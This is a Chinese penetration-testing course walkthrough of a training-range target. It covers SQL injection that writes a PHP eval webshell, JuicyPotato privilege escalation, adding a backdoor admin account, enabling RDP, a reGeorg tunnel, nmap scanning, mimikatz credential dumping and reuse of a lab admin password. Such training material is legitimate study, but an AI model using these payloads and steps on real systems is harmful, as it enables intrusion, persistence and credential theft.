内网渗透 - 遨游内网找到更多漏洞(上)
一、通过SQL注入拿到Webshell
1.Mysql导出函数: [将数据库里面的内容导出]
into outfile
into dumpfile [可以写16进制写入]
2.当知道绝对路径时,且可以导出权限开启的时候就可以拿到Webshell。
DNS注入 load_file
id=7 union select 1,'<?php eval($\_REQUEST\[8\])?>' into outfile 'c:/phpstudy/www/125.php'
例:猫舍实战
(1)用 and 1=1 与 and 1=2 来判断是否存在SQL注入(看 id=1 与 id=2-1 页面的跳转情况)
(1)通过报错弹出路径
C:\phpStudy\WWW\index.php
(3)在显错位通过 into outfile 创建一个包含一句话木马的666.php文件到该路径下
http://afsgr16-b1ferw.aqlab.cn/?id=1 and 1=2 union select 1,'<?php @eval($_REQUEST[8]);?>' into outfile 'C:/phpStudy/WWW/666.php'
(4)访问666.php,文件创建成功,成功拿到shell
http://afsgr16-b1ferw.aqlab.cn/666.php?8=phpinfo();
(5)此时,我们通过菜刀能对对方的webshell进行控制,如果我们还想连接目标的远程桌面(完全控制)
1.我们要添加管理员账户
2.确定远程服务开启(帮他开)
3.我们要确定可以连接
(6)用以下命令在菜刀的虚拟终端中创建一个用户,发现被拒绝访问了,这说明我们的权限不够
net user abc A1B2C3!.Qa /add
二、windows提升权限
很多时候渗透测试人员,在做渗透的时候,拿到了网站权限,会发现,网站的权限调用的CMD命令,其实并不是服务器管理员权限,这个时候就需要去想办法提升自己的权限,只有自己的权限够了,才可以去更好的做内网测试。
提权的路线其实不止一个:
(1)不同服务组件用了不同权限。例如网站权限低,数据库权限高,那么我们就要想办法让其他组件帮我们去做事。再例如:目标机器上运行了一些其他的服务,然后这些服务只能从内部访问,然后我们也可以调用过来用。(例如:FTP|Redis等等) [这个需要一定的知识积累,早期不推荐]
教几条有用的cmd命令:
whoami 查看当前用户权限
netstat -ano 查看本机开放的端口
tasklist 查看本机运行的程序[类似于任务管理器]
systeminfo 查看计算机信息
(2)利用Window的漏洞(最常见手法)
查看windows打了什么补丁,然后去网上找存在什么样的漏洞,然后找对应的提权工具。
很多同学可能有一点疑惑,Windows打了补丁什么漏洞我又不清楚,我怎么找? 其实有前辈做了很好的东西 访问:提权辅助页面: https://i.hacking8.com/tiquan/ 查看到的补丁号填入,然后点击查询就可以,然后告诉你哪些漏洞可以用,直接去找这个微软编号的利用工具
这里老师分享一个,我喜欢用的工具叫做烂土豆。juicypotato,关于其中的原理我就不分析了,因为提权工具有各种各样的,而且Windows操作系统的漏洞,如果不是专门研究的,其实不容易分析讲解
下载地址:https://github.com/ohpe/juicy-potato/releases
一般来说Github上面的补丁,会给源码的就不太会有后门。
这个东西百分百报毒,建议虚拟机下载或者是加个信任之类的。[免杀并不属于我们课程范围,我们讲的也是内网的思路和方法]
原版的比较复杂命令,需要写复杂命令:
JuicyPotato.exe -t * -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
里面又是涉及很多东西,而且运行了的cmd,还是出现在管理员界面,去操作特别麻烦
所以我给大家提供魔改版的烂土豆,一条命令就可以了。
JuicyPotato.exe -p “whoami”
最近有学生提问windows server 2012无法提权。这个是clsid的问题,只要指定clsid就可以了。
https://github.com/ohpe/juicy-potato/tree/master/CLSID
例:猫舍实战(接上)
(7)用 systeminfo() 可以查看系统内容,安装过两个补丁
(8)将以下内容放到 systeminfo 内进行查询,获取可利用的补丁
[01]: KB2999226
[02]: KB976902
(9)查看windows版本,这里是 Windows Server 2008 R2,对应的我们要找 Windows Server 2008 R2 的漏洞
(10)将 JuicyPotato.exe 文件复制到目标 WebShell 上,并改名为123123.exe
(11)在目标的虚拟终端输入以下系统命令,发现我们获取到了system权限,这是最高权限了
123123.exe -p “whomai”
(12)用以下系统命令创建用户 abc
123123.exe -p "net user abc A1B2C3!.Qa /add"
(13)用以下系统命令给用户 abc 改为管理员权限
123123.exe -p "net localgroup administrators abc /add"
注:可用以下系统命令查看是否进入了管理员群组
123123.exe -p "net localgroup administrators"
(14)用以下系统命令查看目标主机是否开放了3389端口
netstat -ano
注:若没有开启3389端口,则我们可以通过以下系统命令帮他开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
(15)1516 是PID,可以用tasklist查看该任务进程
(16)通过ping目标网址,得到目标IP地址
(17)通过远程连接,发现是2003 R2版本,说明这对应着不同的主机的3389端口
注:我们通过远程ip的3389端口其实是路由器的3389端口,并不是其中某一台主机的3389端口,而路由器中有一个表格是专门记录端口之间的对应,比如我们访问了3389端口,则通过表格去找对应主机的3389端口,或者有人访问了2024端口,则通过表格也去找对应主机的3389端口。这也就解释了为什么现在访问的主机为什么是2003 R2版本的,因为对方3389端口对应的就是2003 R2版本的主机
这里有两种方法:
(1)正向连接
我去找目标
用PHP作为一个中间站
我访问PHP文件(后端代码很强大,可以自己发送请求、转发数据)
PHP文件去访问目标主机
(2)反向连接
目标来找我(构成连接)
目标要有外网
要有公网IP
我得监听自己的端口(等他)
反弹shell就是反向连接
三、通过reGeorg打入内网
reGeorg: 打入目标内网的神器,最好用老师给的版本
https://github.com/sensepost/reGeorg
1.先将网站对应语言的tunnel文件上传,PHP的话建议上传tunnel.nosocket.php,只要这个文件上传到Web目录,他就相当于你的一个通信站,你传递给目标内网的信息都由这个PHP文件来转发处理。
2.文件上传后记录下访问到的地址:
http://**.***.cn/777.php
3.当页面返回Georg says, ‘All seems fine’ 就没有问题
4.然后调用reGeorgSocksProxy.py,使用py2去访问,不明白可以输入/?查看帮助
reGeorgSocksProxy.py -l 127.0.0.1 -p 10086 -u http://*.*.cn/777.php
5.去连接777.php,然后再本地(127.0.0.1)开启的10086端口,只要你往10086端口传参,那么你就是在访问目标内网。
这里会用到一个proxifier的工具
猫舍实战(再接上)
(18)将 tunnel.nosocket.php 文件上传到目标WebShell并重命名为123123.php
123123.exe -p "net localgroup administrators abc /add"
(19)访问目标网站的123123.php文件,显示以下的内容证明可以连接
(20)通过命令行运行该python脚本,作用是监听我本机的端口,可以把我发送到那个端口的数据发送到123123.php文件
py -2 reGeorgSocksProxy.py -l 127.0.0.1 -p 10086 -u http://afsgr16-b1ferw.aqlab.cn/123123.php
(21)运行Proxifier
(22)修改代理服务器的端口为10086,与我们上面输入的端口要一致
(23)新建代理规则
注:我们通过Proxifier设置的代理将我们的数据包发送到目标主机的10086端口,该端口又被我们设置的python脚本所监听,所以又把该数据包发送给123123.php
(24)查看本机的IP地址:10.0.1.4
(25)连接远程:10.0.1.4,输入我们所创建的用户名
注:这里在连接时如果出错了,可能是因为在python的命令行没有按回车,导致后面无法执行
(26)登陆成功
四、探测内网机器
登陆了3389后,那电脑就是你的,没啥说法,信息收集呗
1.先探测下内网主机,再探测下主机端口,这是最简单的方法。
2.ipconfig查看下当前ip,是什么ip段,然后上传nmap
nmap 10.0.1.1/24 探测10.0.1.1 - 10.0.1.255
3.开始翻一翻本机里面的文件,看看有没有有用的东西
4.根据端口去寻找问题,例如我们现在想对 10.0.1.5 测试,很明显他开了这些端口,就针对这些端口测试。
例如这里有开放了445端口,445有个内网大杀器永恒之蓝
5.开了3389,3389可以尝试爆破登陆,或者打windows rdp漏洞,直接拿下。
如果有WEB就走WEB测试的道路。
永恒之蓝和RDP攻击都是Kali课程内容
注: 永恒之蓝和RDP攻击都有机会把机器打蓝屏,严禁在内网靶场使用;能在目标主机上运行,就在目标主机上运行(nmap端口扫描这些)
五、提取本机管理员账号密码
内网很多情况是这样的,内网很多机器,但是管理员可能就是那么几个人,所以各个机器的用户账号密码相同的可能性极高,那么我们如果能获取本机所有用户的密码,就可以看到管理员原本设置的密码。
mimikatz是一款内网渗透中常用的工具,我喜欢叫法国神器,本杰明·德尔皮创建
下载地址:https://github.com/gentilkiwi/mimikatz
因为Windows会把用户的明文密码放在内存里面,所以它可以从内存中提取纯文本密码,哈希和kerberos票证。 [windows server 2012上就不储存明文],mimikatz还可以执行哈希传递,票证传递或构建Golden票证。
注:但是也可以通过修改注册列表开启,然后静静的等待管理员访问
privilege::debug 提升权限
sekurlsa::logonpasswords 抓取密码
log 日志会记录内容
猫舍实战(再再接上)
(27)用以下系统命令可查看同个内网下的IP
arp -a
(28)将猕猴桃上传到目标主机,并改名为1234.exe
(29)通过远程桌面找到猕猴桃并放在我的桌面
(30)用管理员权限打开 cmd
(31)用以下命令跳转到 C:\phpStudy\WWW 目录下,再输入1234.exe返回如下
cd C:phpStudy\WWW
(32)输入命令 log ,可以抓取我这里代码所返回的结果
(33)用以下命令提升权限
privilege::debug
(34)用以下命令抓取密码
sekurlsa::logonpasswords
(35)命令执行后,在当前目录更新了一个文件mimikatz,里面记录了所有登陆过的账户
(36)找到账户Administrator,密码为woshifengge1.
(37)尝试用找到的管理员账户登陆10.0.1.1、10.0.1.3、10.0.1.5、10.0.1.6、10.0.1.8,发现10.0.1.8使用了相同的管理员账户
(38)拿到了flag
flag:flag{You_good}
(39)flag 正确